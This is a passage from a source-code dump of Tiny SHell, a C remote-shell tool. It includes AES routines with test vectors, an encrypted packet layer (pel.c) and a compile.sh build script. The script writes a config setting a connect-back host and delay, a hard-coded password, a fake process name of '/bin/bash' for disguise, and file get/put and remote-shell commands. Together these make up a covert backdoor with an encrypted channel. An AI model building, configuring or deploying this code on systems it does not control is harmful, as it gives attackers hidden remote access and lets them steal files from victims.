(uint8) ( RK[11] >> 24 ) ] << 24 ) ^ 358 | ( FSb[ (uint8) ( RK[11] >> 16 ) ] << 16 ) ^ 359 | ( FSb[ (uint8) ( RK[11] >> 8 ) ] << 8 ) ^ 360 | ( FSb[ (uint8) ( RK[11] ) ] ); 361 | 362 | RK[13] = RK[5] ^ RK[12]; 363 | RK[14] = RK[6] ^ RK[13]; 364 | RK[15] = RK[7] ^ RK[14]; 365 | } 366 | break; 367 | } 368 | 369 | /* setup decryption round keys */ 370 | 371 | for( i = 0; i <= ctx->nr; i++ ) 372 | { 373 | ctx->drk[i * 4 ] = ctx->erk[( ctx->nr - i ) * 4 ]; 374 | ctx->drk[i * 4 + 1] = ctx->erk[( ctx->nr - i ) * 4 + 1]; 375 | ctx->drk[i * 4 + 2] = ctx->erk[( ctx->nr - i ) * 4 + 2]; 376 | ctx->drk[i * 4 + 3] = ctx->erk[( ctx->nr - i ) * 4 + 3]; 377 | } 378 | 379 | for( i = 1, RK = ctx->drk + 4; i < ctx->nr; i++, RK += 4 ) 380 | { 381 | RK[0] = RT0[ FSb[ (uint8) ( RK[0] >> 24 ) ] ] ^ 382 | RT1[ FSb[ (uint8) ( RK[0] >> 16 ) ] ] ^ 383 | RT2[ FSb[ (uint8) ( RK[0] >> 8 ) ] ] ^ 384 | RT3[ FSb[ (uint8) ( RK[0] ) ] ]; 385 | 386 | RK[1] = RT0[ FSb[ (uint8) ( RK[1] >> 24 ) ] ] ^ 387 | RT1[ FSb[ (uint8) ( RK[1] >> 16 ) ] ] ^ 388 | RT2[ FSb[ (uint8) ( RK[1] >> 8 ) ] ] ^ 389 | RT3[ FSb[ (uint8) ( RK[1] ) ] ]; 390 | 391 | RK[2] = RT0[ FSb[ (uint8) ( RK[2] >> 24 ) ] ] ^ 392 | RT1[ FSb[ (uint8) ( RK[2] >> 16 ) ] ] ^ 393 | RT2[ FSb[ (uint8) ( RK[2] >> 8 ) ] ] ^ 394 | RT3[ FSb[ (uint8) ( RK[2] ) ] ]; 395 | 396 | RK[3] = RT0[ FSb[ (uint8) ( RK[3] >> 24 ) ] ] ^ 397 | RT1[ FSb[ (uint8) ( RK[3] >> 16 ) ] ] ^ 398 | RT2[ FSb[ (uint8) ( RK[3] >> 8 ) ] ] ^ 399 | RT3[ FSb[ (uint8) ( RK[3] ) ] ]; 400 | } 401 | 402 | return( 0 ); 403 | } 404 | 405 | /* 128-bit block encryption routine */ 406 | 407 | void aes_encrypt( struct aes_context *ctx, uint8 data[16] ) 408 | { 409 | uint32 *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3; 410 | 411 | RK = ctx->erk; 412 | 413 | GET_UINT32( X0, data, 0 ); X0 ^= RK[0]; 414 | GET_UINT32( X1, data, 4 ); X1 ^= RK[1]; 415 | GET_UINT32( X2, data, 8 ); X2 ^= RK[2]; 416 | GET_UINT32( X3, data, 12 ); X3 ^= RK[3]; 417 | 418 | #define FROUND(X0,X1,X2,X3,Y0,Y1,Y2,Y3) \ 419 | { \ 420 | RK += 4; \ 421 | \ 422 | X0 = RK[0] ^ FT0[ (uint8) ( Y0 >> 24 ) ] ^ \ 423 | FT1[ (uint8) ( Y1 >> 16 ) ] ^ \ 424 | FT2[ (uint8) ( Y2 >> 8 ) ] ^ \ 425 | FT3[ (uint8) ( Y3 ) ]; \ 426 | \ 427 | X1 = RK[1] ^ FT0[ (uint8) ( Y1 >> 24 ) ] ^ \ 428 | FT1[ (uint8) ( Y2 >> 16 ) ] ^ \ 429 | FT2[ (uint8) ( Y3 >> 8 ) ] ^ \ 430 | FT3[ (uint8) ( Y0 ) ]; \ 431 | \ 432 | X2 = RK[2] ^ FT0[ (uint8) ( Y2 >> 24 ) ] ^ \ 433 | FT1[ (uint8) ( Y3 >> 16 ) ] ^ \ 434 | FT2[ (uint8) ( Y0 >> 8 ) ] ^ \ 435 | FT3[ (uint8) ( Y1 ) ]; \ 436 | \ 437 | X3 = RK[3] ^ FT0[ (uint8) ( Y3 >> 24 ) ] ^ \ 438 | FT1[ (uint8) ( Y0 >> 16 ) ] ^ \ 439 | FT2[ (uint8) ( Y1 >> 8 ) ] ^ \ 440 | FT3[ (uint8) ( Y2 ) ]; \ 441 | } 442 | 443 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 1 */ 444 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 2 */ 445 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 3 */ 446 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 4 */ 447 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 5 */ 448 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 6 */ 449 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 7 */ 450 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 8 */ 451 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 9 */ 452 | 453 | if( ctx->nr > 10 ) 454 | { 455 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 10 */ 456 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 11 */ 457 | } 458 | 459 | if( ctx->nr > 12 ) 460 | { 461 | FROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 12 */ 462 | FROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 13 */ 463 | } 464 | 465 | /* last round */ 466 | 467 | RK += 4; 468 | 469 | X0 = RK[0] ^ ( FSb[ (uint8) ( Y0 >> 24 ) ] << 24 ) ^ 470 | ( FSb[ (uint8) ( Y1 >> 16 ) ] << 16 ) ^ 471 | ( FSb[ (uint8) ( Y2 >> 8 ) ] << 8 ) ^ 472 | ( FSb[ (uint8) ( Y3 ) ] ); 473 | 474 | X1 = RK[1] ^ ( FSb[ (uint8) ( Y1 >> 24 ) ] << 24 ) ^ 475 | ( FSb[ (uint8) ( Y2 >> 16 ) ] << 16 ) ^ 476 | ( FSb[ (uint8) ( Y3 >> 8 ) ] << 8 ) ^ 477 | ( FSb[ (uint8) ( Y0 ) ] ); 478 | 479 | X2 = RK[2] ^ ( FSb[ (uint8) ( Y2 >> 24 ) ] << 24 ) ^ 480 | ( FSb[ (uint8) ( Y3 >> 16 ) ] << 16 ) ^ 481 | ( FSb[ (uint8) ( Y0 >> 8 ) ] << 8 ) ^ 482 | ( FSb[ (uint8) ( Y1 ) ] ); 483 | 484 | X3 = RK[3] ^ ( FSb[ (uint8) ( Y3 >> 24 ) ] << 24 ) ^ 485 | ( FSb[ (uint8) ( Y0 >> 16 ) ] << 16 ) ^ 486 | ( FSb[ (uint8) ( Y1 >> 8 ) ] << 8 ) ^ 487 | ( FSb[ (uint8) ( Y2 ) ] ); 488 | 489 | PUT_UINT32( X0, data, 0 ); 490 | PUT_UINT32( X1, data, 4 ); 491 | PUT_UINT32( X2, data, 8 ); 492 | PUT_UINT32( X3, data, 12 ); 493 | } 494 | 495 | /* 128-bit block decryption routine */ 496 | 497 | void aes_decrypt( struct aes_context *ctx, uint8 data[16] ) 498 | { 499 | uint32 *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3; 500 | 501 | RK = ctx->drk; 502 | 503 | GET_UINT32( X0, data, 0 ); X0 ^= RK[0]; 504 | GET_UINT32( X1, data, 4 ); X1 ^= RK[1]; 505 | GET_UINT32( X2, data, 8 ); X2 ^= RK[2]; 506 | GET_UINT32( X3, data, 12 ); X3 ^= RK[3]; 507 | 508 | #define RROUND(X0,X1,X2,X3,Y0,Y1,Y2,Y3) \ 509 | { \ 510 | RK += 4; \ 511 | \ 512 | X0 = RK[0] ^ RT0[ (uint8) ( Y0 >> 24 ) ] ^ \ 513 | RT1[ (uint8) ( Y3 >> 16 ) ] ^ \ 514 | RT2[ (uint8) ( Y2 >> 8 ) ] ^ \ 515 | RT3[ (uint8) ( Y1 ) ]; \ 516 | \ 517 | X1 = RK[1] ^ RT0[ (uint8) ( Y1 >> 24 ) ] ^ \ 518 | RT1[ (uint8) ( Y0 >> 16 ) ] ^ \ 519 | RT2[ (uint8) ( Y3 >> 8 ) ] ^ \ 520 | RT3[ (uint8) ( Y2 ) ]; \ 521 | \ 522 | X2 = RK[2] ^ RT0[ (uint8) ( Y2 >> 24 ) ] ^ \ 523 | RT1[ (uint8) ( Y1 >> 16 ) ] ^ \ 524 | RT2[ (uint8) ( Y0 >> 8 ) ] ^ \ 525 | RT3[ (uint8) ( Y3 ) ]; \ 526 | \ 527 | X3 = RK[3] ^ RT0[ (uint8) ( Y3 >> 24 ) ] ^ \ 528 | RT1[ (uint8) ( Y2 >> 16 ) ] ^ \ 529 | RT2[ (uint8) ( Y1 >> 8 ) ] ^ \ 530 | RT3[ (uint8) ( Y0 ) ]; \ 531 | } 532 | 533 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 1 */ 534 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 2 */ 535 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 3 */ 536 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 4 */ 537 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 5 */ 538 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 6 */ 539 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 7 */ 540 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 8 */ 541 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 9 */ 542 | 543 | if( ctx->nr > 10 ) 544 | { 545 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 10 */ 546 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 11 */ 547 | } 548 | 549 | if( ctx->nr > 12 ) 550 | { 551 | RROUND( X0, X1, X2, X3, Y0, Y1, Y2, Y3 ); /* round 12 */ 552 | RROUND( Y0, Y1, Y2, Y3, X0, X1, X2, X3 ); /* round 13 */ 553 | } 554 | 555 | /* last round */ 556 | 557 | RK += 4; 558 | 559 | X0 = RK[0] ^ ( RSb[ (uint8) ( Y0 >> 24 ) ] << 24 ) ^ 560 | ( RSb[ (uint8) ( Y3 >> 16 ) ] << 16 ) ^ 561 | ( RSb[ (uint8) ( Y2 >> 8 ) ] << 8 ) ^ 562 | ( RSb[ (uint8) ( Y1 ) ] ); 563 | 564 | X1 = RK[1] ^ ( RSb[ (uint8) ( Y1 >> 24 ) ] << 24 ) ^ 565 | ( RSb[ (uint8) ( Y0 >> 16 ) ] << 16 ) ^ 566 | ( RSb[ (uint8) ( Y3 >> 8 ) ] << 8 ) ^ 567 | ( RSb[ (uint8) ( Y2 ) ] ); 568 | 569 | X2 = RK[2] ^ ( RSb[ (uint8) ( Y2 >> 24 ) ] << 24 ) ^ 570 | ( RSb[ (uint8) ( Y1 >> 16 ) ] << 16 ) ^ 571 | ( RSb[ (uint8) ( Y0 >> 8 ) ] << 8 ) ^ 572 | ( RSb[ (uint8) ( Y3 ) ] ); 573 | 574 | X3 = RK[3] ^ ( RSb[ (uint8) ( Y3 >> 24 ) ] << 24 ) ^ 575 | ( RSb[ (uint8) ( Y2 >> 16 ) ] << 16 ) ^ 576 | ( RSb[ (uint8) ( Y1 >> 8 ) ] << 8 ) ^ 577 | ( RSb[ (uint8) ( Y0 ) ] ); 578 | 579 | PUT_UINT32( X0, data, 0 ); 580 | PUT_UINT32( X1, data, 4 ); 581 | PUT_UINT32( X2, data, 8 ); 582 | PUT_UINT32( X3, data, 12 ); 583 | } 584 | 585 | #ifdef TEST 586 | 587 | #include 588 | #include 589 | 590 | /* 591 | * those are the standard FIPS 197 test vectors 592 | */ 593 | 594 | static unsigned char KEYs[3][32] = 595 | { 596 | "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F", 597 | 598 | "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" \ 599 | "\x10\x11\x12\x13\x14\x15\x16\x17", 600 | 601 | "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" \ 602 | "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F" 603 | }; 604 | 605 | static unsigned char PT[16] = 606 | 607 | "\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xAA\xBB\xCC\xDD\xEE\xFF"; 608 | 609 | static unsigned char CTs[3][16] = 610 | { 611 | "\x69\xC4\xE0\xD8\x6A\x7B\x04\x30\xD8\xCD\xB7\x80\x70\xB4\xC5\x5A", 612 | "\xDD\xA9\x7C\xA4\x86\x4C\xDF\xE0\x6E\xAF\x70\xA0\xEC\x0D\x71\x91", 613 | "\x8E\xA2\xB7\xCA\x51\x67\x45\xBF\xEA\xFC\x49\x90\x4B\x49\x60\x89" 614 | }; 615 | 616 | int main( void ) 617 | { 618 | int i; 619 | struct aes_context ctx; 620 | unsigned char data[16]; 621 | 622 | for( i = 0; i < 3; i++ ) 623 | { 624 | memcpy( data, PT, 16 ); 625 | 626 | aes_set_key( &ctx, KEYs[i], 128 + i * 64 ); 627 | aes_encrypt( &ctx, data ); 628 | 629 | printf( "encryption test %d ", i + 1 ); 630 | 631 | if( ! memcmp( data, CTs[i], 16 ) ) 632 | { 633 | printf( "passed\n" ); 634 | } 635 | else 636 | { 637 | printf( "failed\n" ); 638 | return( 1 ); 639 | } 640 | } 641 | 642 | for( i = 0; i < 3; i++ ) 643 | { 644 | memcpy( data, CTs[i], 16 ); 645 | 646 | aes_set_key( &ctx, KEYs[i], 128 + i * 64 ); 647 | aes_decrypt( &ctx, data ); 648 | 649 | printf( "decryption test %d ", i + 1 ); 650 | 651 | if( ! memcmp( data, PT, 16 ) ) 652 | { 653 | printf( "passed\n" ); 654 | } 655 | else 656 | { 657 | printf( "failed\n" ); 658 | return( 1 ); 659 | } 660 | } 661 | 662 | return( 0 ); 663 | } 664 | #endif 665 | -------------------------------------------------------------------------------- /aes.h: -------------------------------------------------------------------------------- 1 | #ifndef _AES_H 2 | #define _AES_H 3 | 4 | #ifndef uint8 5 | #define uint8 unsigned char 6 | #endif 7 | 8 | #ifndef uint32 9 | #define uint32 unsigned long int 10 | #endif 11 | 12 | struct aes_context 13 | { 14 | int nr; /* number of rounds */ 15 | uint32 erk[64]; /* encryption round keys */ 16 | uint32 drk[64]; /* decryption round keys */ 17 | }; 18 | 19 | int aes_set_key( struct aes_context *ctx, uint8 *key, int nbits ); 20 | void aes_encrypt( struct aes_context *ctx, uint8 data[16] ); 21 | void aes_decrypt( struct aes_context *ctx, uint8 data[16] ); 22 | 23 | #endif /* aes.h */ 24 | -------------------------------------------------------------------------------- /compile.sh: -------------------------------------------------------------------------------- 1 | #/bin/bash 2 | 3 | 4 | # define 5 | SCIPRTNAME="${0##*/}" 6 | PASSWORD="DEFAULT PASSWORD" 7 | BC_HOST="localhost" 8 | BC_PORT=7856 9 | BC_TIME=30 10 | 11 | # 12 | cd "$(dirname "$PWD/$0")" 13 | 14 | usage() { 15 | echo 16 | echo usage: 17 | echo $SCIPRTNAME os BC_HOST BC_PORT [PASSWORD] [BC_DELAY] 18 | echo $SCIPRTNAME os 8.8.8.8 8081 19 | echo $SCIPRTNAME os 8.8.8.8 8081 mypassword 60 20 | echo 21 | make 2>&1 | sed "s/make/$SCIPRTNAME/g" 22 | } 23 | 24 | get() { 25 | if test $2; then 26 | eval $1=$2 27 | fi 28 | } 29 | 30 | # print usage 31 | if [ $# -lt 3 ]; then 32 | usage 33 | exit 34 | fi 35 | 36 | # get args 37 | get os $1 38 | get BC_HOST $2 39 | get BC_PORT $3 40 | get PASSWORD $4 41 | get BC_TIME $5 42 | 43 | 44 | # write to configuration file 45 | cat > tsh.h <<_EOF 46 | #ifndef _TSH_H 47 | #define _TSH_H 48 | 49 | char *secret = "$PASSWORD"; 50 | 51 | #define SERVER_PORT $BC_PORT 52 | 53 | #define CONNECT_BACK_HOST "$BC_HOST" 54 | #define CONNECT_BACK_DELAY $BC_TIME 55 | 56 | #define FAKE_PROC_NAME "/bin/bash" 57 | 58 | #define GET_FILE 1 59 | #define PUT_FILE 2 60 | #define RUNSHELL 3 61 | 62 | #endif /* tsh.h */ 63 | _EOF 64 | 65 | 66 | # make file 67 | make $1 -------------------------------------------------------------------------------- /pel.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Packet Encryption Layer for Tiny SHell, 3 | * by Christophe Devine ; 4 | * this program is licensed under the GPL. 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "pel.h" 14 | #include "aes.h" 15 | #include "sha1.h" 16 | 17 | /* global data */ 18 | 19 | int pel_errno; 20 | 21 | struct pel_context 22 | { 23 | /* AES-CBC-128 variables */ 24 | 25 | struct aes_context SK; /* Rijndael session key */ 26 | unsigned char LCT[16]; /* last ciphertext block */ 27 | 28 | /* HMAC-SHA1 variables */ 29 | 30 | unsigned char k_ipad[64]; /* inner padding */ 31 | unsigned char k_opad[64]; /* outer padding */ 32 | unsigned long int p_cntr; /* packet counter */ 33 | }; 34 | 35 | struct pel_context send_ctx; /* to encrypt outgoing data */ 36 | struct pel_context recv_ctx; /* to decrypt incoming data */ 37 | 38 | unsigned char challenge[16] = /* version-specific */ 39 | 40 | "\x58\x90\xAE\x86\xF1\xB9\x1C\xF6" \ 41 | "\x29\x83\x95\x71\x1D\xDE\x58\x0D"; 42 | 43 | unsigned char buffer[BUFSIZE + 16 + 20]; 44 | 45 | /* function declaration */ 46 | 47 | void pel_setup_context( struct pel_context *pel_ctx, 48 | char *key, unsigned char IV[20] ); 49 | 50 | int pel_send_all( int s, void *buf, size_t len, int flags ); 51 | int pel_recv_all( int s, void *buf, size_t len, int flags ); 52 | 53 | /* session setup - client side */ 54 | 55 | int pel_client_init( int server, char *key ) 56 | { 57 | int ret, len, pid; 58 | struct timeval tv; 59 | struct sha1_context sha1_ctx; 60 | unsigned char IV1[20], IV2[20]; 61 | 62 | /* generate both initialization vectors */ 63 | 64 | pid = getpid(); 65 | 66 | if( gettimeofday( &tv, NULL ) < 0 ) 67 | { 68 | pel_errno = PEL_SYSTEM_ERROR; 69 | 70 | return( PEL_FAILURE ); 71 | } 72 | 73 | sha1_starts( &sha1_ctx ); 74 | sha1_update( &sha1_ctx, (uint8 *) &tv, sizeof( tv ) ); 75 | sha1_update( &sha1_ctx, (uint8 *) &pid, sizeof( pid ) ); 76 | sha1_finish( &sha1_ctx, &buffer[ 0] ); 77 | 78 | memcpy( IV1, &buffer[ 0], 20 ); 79 | 80 | pid++; 81 | 82 | if( gettimeofday( &tv, NULL ) < 0 ) 83 | { 84 | pel_errno = PEL_SYSTEM_ERROR; 85 | 86 | return( PEL_FAILURE ); 87 | } 88 | 89 | sha1_starts( &sha1_ctx ); 90 | sha1_update( &sha1_ctx, (uint8 *) &tv, sizeof( tv ) ); 91 | sha1_update( &sha1_ctx, (uint8 *) &pid, sizeof( pid ) ); 92 | sha1_finish( &sha1_ctx, &buffer[20] ); 93 | 94 | memcpy( IV2, &buffer[20], 20 ); 95 | 96 | /* and pass them to the server */ 97 | 98 | ret = pel_send_all( server, buffer, 40, 0 ); 99 | 100 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 101 | 102 | /* setup the session keys */ 103 | 104 | pel_setup_context( &send_ctx, key, IV1 ); 105 | pel_setup_context( &recv_ctx, key, IV2 ); 106 | 107 | /* handshake - encrypt and send the client's challenge */ 108 | 109 | ret = pel_send_msg( server, challenge, 16 ); 110 | 111 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 112 | 113 | /* handshake - decrypt and verify the server's challenge */ 114 | 115 | ret = pel_recv_msg( server, buffer, &len ); 116 | 117 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 118 | 119 | if( len != 16 || memcmp( buffer, challenge, 16 ) != 0 ) 120 | { 121 | pel_errno = PEL_WRONG_CHALLENGE; 122 | 123 | return( PEL_FAILURE ); 124 | } 125 | 126 | pel_errno = PEL_UNDEFINED_ERROR; 127 | 128 | return( PEL_SUCCESS ); 129 | } 130 | 131 | /* session setup - server side */ 132 | 133 | int pel_server_init( int client, char *key ) 134 | { 135 | int ret, len; 136 | unsigned char IV1[20], IV2[20]; 137 | 138 | /* get the IVs from the client */ 139 | 140 | ret = pel_recv_all( client, buffer, 40, 0 ); 141 | 142 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 143 | 144 | memcpy( IV2, &buffer[ 0], 20 ); 145 | memcpy( IV1, &buffer[20], 20 ); 146 | 147 | /* setup the session keys */ 148 | 149 | pel_setup_context( &send_ctx, key, IV1 ); 150 | pel_setup_context( &recv_ctx, key, IV2 ); 151 | 152 | /* handshake - decrypt and verify the client's challenge */ 153 | 154 | ret = pel_recv_msg( client, buffer, &len ); 155 | 156 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 157 | 158 | if( len != 16 || memcmp( buffer, challenge, 16 ) != 0 ) 159 | { 160 | pel_errno = PEL_WRONG_CHALLENGE; 161 | 162 | return( PEL_FAILURE ); 163 | } 164 | 165 | /* handshake - encrypt and send the server's challenge */ 166 | 167 | ret = pel_send_msg( client, challenge, 16 ); 168 | 169 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 170 | 171 | pel_errno = PEL_UNDEFINED_ERROR; 172 | 173 | return( PEL_SUCCESS ); 174 | } 175 | 176 | /* this routine computes the AES & HMAC session keys */ 177 | 178 | void pel_setup_context( struct pel_context *pel_ctx, 179 | char *key, unsigned char IV[20] ) 180 | { 181 | int i; 182 | struct sha1_context sha1_ctx; 183 | 184 | sha1_starts( &sha1_ctx ); 185 | sha1_update( &sha1_ctx, (uint8 *) key, strlen( key ) ); 186 | sha1_update( &sha1_ctx, IV, 20 ); 187 | sha1_finish( &sha1_ctx, buffer ); 188 | 189 | aes_set_key( &pel_ctx->SK, buffer, 128 ); 190 | 191 | memcpy( pel_ctx->LCT, IV, 16 ); 192 | 193 | memset( pel_ctx->k_ipad, 0x36, 64 ); 194 | memset( pel_ctx->k_opad, 0x5C, 64 ); 195 | 196 | for( i = 0; i < 20; i++ ) 197 | { 198 | pel_ctx->k_ipad[i] ^= buffer[i]; 199 | pel_ctx->k_opad[i] ^= buffer[i]; 200 | } 201 | 202 | pel_ctx->p_cntr = 0; 203 | } 204 | 205 | /* encrypt and transmit a message */ 206 | 207 | int pel_send_msg( int sockfd, unsigned char *msg, int length ) 208 | { 209 | unsigned char digest[20]; 210 | struct sha1_context sha1_ctx; 211 | int i, j, ret, blk_len; 212 | 213 | /* verify the message length */ 214 | 215 | if( length <= 0 || length > BUFSIZE ) 216 | { 217 | pel_errno = PEL_BAD_MSG_LENGTH; 218 | 219 | return( PEL_FAILURE ); 220 | } 221 | 222 | /* write the message length at start of buffer */ 223 | 224 | buffer[0] = ( length >> 8 ) & 0xFF; 225 | buffer[1] = ( length ) & 0xFF; 226 | 227 | /* append the message content */ 228 | 229 | memcpy( buffer + 2, msg, length ); 230 | 231 | /* round up to AES block length (16 bytes) */ 232 | 233 | blk_len = 2 + length; 234 | 235 | if( ( blk_len & 0x0F ) != 0 ) 236 | { 237 | blk_len += 16 - ( blk_len & 0x0F ); 238 | } 239 | 240 | /* encrypt the buffer with AES-CBC-128 */ 241 | 242 | for( i = 0; i < blk_len; i += 16 ) 243 | { 244 | for( j = 0; j < 16; j++ ) 245 | { 246 | buffer[i + j] ^= send_ctx.LCT[j]; 247 | } 248 | 249 | aes_encrypt( &send_ctx.SK, &buffer[i] ); 250 | 251 | memcpy( send_ctx.LCT, &buffer[i], 16 ); 252 | } 253 | 254 | /* compute the HMAC-SHA1 of the ciphertext */ 255 | 256 | buffer[blk_len ] = ( send_ctx.p_cntr << 24 ) & 0xFF; 257 | buffer[blk_len + 1] = ( send_ctx.p_cntr << 16 ) & 0xFF; 258 | buffer[blk_len + 2] = ( send_ctx.p_cntr << 8 ) & 0xFF; 259 | buffer[blk_len + 3] = ( send_ctx.p_cntr ) & 0xFF; 260 | 261 | sha1_starts( &sha1_ctx ); 262 | sha1_update( &sha1_ctx, send_ctx.k_ipad, 64 ); 263 | sha1_update( &sha1_ctx, buffer, blk_len + 4 ); 264 | sha1_finish( &sha1_ctx, digest ); 265 | 266 | sha1_starts( &sha1_ctx ); 267 | sha1_update( &sha1_ctx, send_ctx.k_opad, 64 ); 268 | sha1_update( &sha1_ctx, digest, 20 ); 269 | sha1_finish( &sha1_ctx, &buffer[blk_len] ); 270 | 271 | /* increment the packet counter */ 272 | 273 | send_ctx.p_cntr++; 274 | 275 | /* transmit ciphertext and message authentication code */ 276 | 277 | ret = pel_send_all( sockfd, buffer, blk_len + 20, 0 ); 278 | 279 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 280 | 281 | pel_errno = PEL_UNDEFINED_ERROR; 282 | 283 | return( PEL_SUCCESS ); 284 | } 285 | 286 | /* receive and decrypt a message */ 287 | 288 | int pel_recv_msg( int sockfd, unsigned char *msg, int *length ) 289 | { 290 | unsigned char temp[16]; 291 | unsigned char hmac[20]; 292 | unsigned char digest[20]; 293 | struct sha1_context sha1_ctx; 294 | int i, j, ret, blk_len; 295 | 296 | /* receive the first encrypted block */ 297 | 298 | ret = pel_recv_all( sockfd, buffer, 16, 0 ); 299 | 300 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 301 | 302 | /* decrypt this block and extract the message length */ 303 | 304 | memcpy( temp, buffer, 16 ); 305 | 306 | aes_decrypt( &recv_ctx.SK, buffer ); 307 | 308 | for( j = 0; j < 16; j++ ) 309 | { 310 | buffer[j] ^= recv_ctx.LCT[j]; 311 | } 312 | 313 | *length = ( ((int) buffer[0]) << 8 ) + (int) buffer[1]; 314 | 315 | /* restore the ciphertext */ 316 | 317 | memcpy( buffer, temp, 16 ); 318 | 319 | /* verify the message length */ 320 | 321 | if( *length <= 0 || *length > BUFSIZE ) 322 | { 323 | pel_errno = PEL_BAD_MSG_LENGTH; 324 | 325 | return( PEL_FAILURE ); 326 | } 327 | 328 | /* round up to AES block length (16 bytes) */ 329 | 330 | blk_len = 2 + *length; 331 | 332 | if( ( blk_len & 0x0F ) != 0 ) 333 | { 334 | blk_len += 16 - ( blk_len & 0x0F ); 335 | } 336 | 337 | /* receive the remaining ciphertext and the mac */ 338 | 339 | ret = pel_recv_all( sockfd, &buffer[16], blk_len - 16 + 20, 0 ); 340 | 341 | if( ret != PEL_SUCCESS ) return( PEL_FAILURE ); 342 | 343 | memcpy( hmac, &buffer[blk_len], 20 ); 344 | 345 | /* verify the ciphertext integrity */ 346 | 347 | buffer[blk_len ] = ( recv_ctx.p_cntr << 24 ) & 0xFF; 348 | buffer[blk_len + 1] = ( recv_ctx.p_cntr << 16 ) & 0xFF; 349 | buffer[blk_len + 2] = ( recv_ctx.p_cntr << 8 ) & 0xFF; 350 | buffer[blk_len + 3] = ( recv_ctx.p_cntr ) & 0xFF; 351 | 352 | sha1_starts( &sha1_ctx ); 353 | sha1_update( &sha1_ctx, recv_ctx.k_ipad, 64 ); 354 | sha1_update( &sha1_ctx, buffer, blk_len + 4 ); 355 | sha1_finish( &sha1_ctx, digest ); 356 | 357 | sha1_starts( &sha1_ctx ); 358 | sha1_update( &sha1_ctx, recv_ctx.k_opad, 64 ); 359 | sha1_update( &sha1_ctx, digest, 20 ); 360 | sha1_finish( &sha1_ctx, digest ); 361 | 362 | if( memcmp( hmac, digest, 20 ) != 0 ) 363 | { 364 | pel_errno = PEL_CORRUPTED_DATA; 365 | 366 | return( PEL_FAILURE ); 367 | } 368 | 369 | /* increment the packet counter */ 370 | 371 | recv_ctx.p_cntr++; 372 | 373 | /* finally, decrypt and copy the message */ 374 | 375 | for( i = 0; i < blk_len; i += 16 ) 376 | { 377 | memcpy( temp, &buffer[i], 16 ); 378 | 379 | aes_decrypt( &recv_ctx.SK, &buffer[i] ); 380 | 381 | for( j = 0; j < 16; j++ ) 382 | { 383 | buffer[i + j] ^= recv_ctx.LCT[j]; 384 | } 385 | 386 | memcpy( recv_ctx.LCT, temp, 16 ); 387 | } 388 | 389 | memcpy( msg, &buffer[2], *length ); 390 | 391 | pel_errno = PEL_UNDEFINED_ERROR; 392 | 393 | return( PEL_SUCCESS ); 394 | } 395 | 396 | /* send/recv wrappers to handle fragmented TCP packets */ 397 | 398 | int pel_send_all( int s, void *buf, size_t len, int flags ) 399 | { 400 | int n; 401 | size_t sum = 0; 402 | char *offset = buf; 403 | 404 | while( sum < len ) 405 | { 406 | n = send( s, (void *) offset, len - sum, flags ); 407 | 408 | if( n < 0 ) 409 | { 410 | pel_errno = PEL_SYSTEM_ERROR; 411 | 412 | return( PEL_FAILURE ); 413 | } 414 | 415 | sum += n; 416 | 417 | offset += n; 418 | } 419 | 420 | pel_errno = PEL_UNDEFINED_ERROR; 421 | 422 | return( PEL_SUCCESS ); 423 | } 424 | 425 | int pel_recv_all( int s, void *buf, size_t len, int flags ) 426 | { 427 | int n; 428 | size_t sum = 0; 429 | char *offset = buf; 430 | 431 | while( sum < len ) 432 | { 433 | n = recv( s, (void *) offset, len - sum, flags ); 434 | 435 | if( n == 0 ) 436 | { 437 | pel_errno = PEL_CONN_CLOSED; 438 | 439 | return( PEL_FAILURE ); 440 | } 441 | 442 | if( n < 0 ) 443 | { 444 | pel_errno = 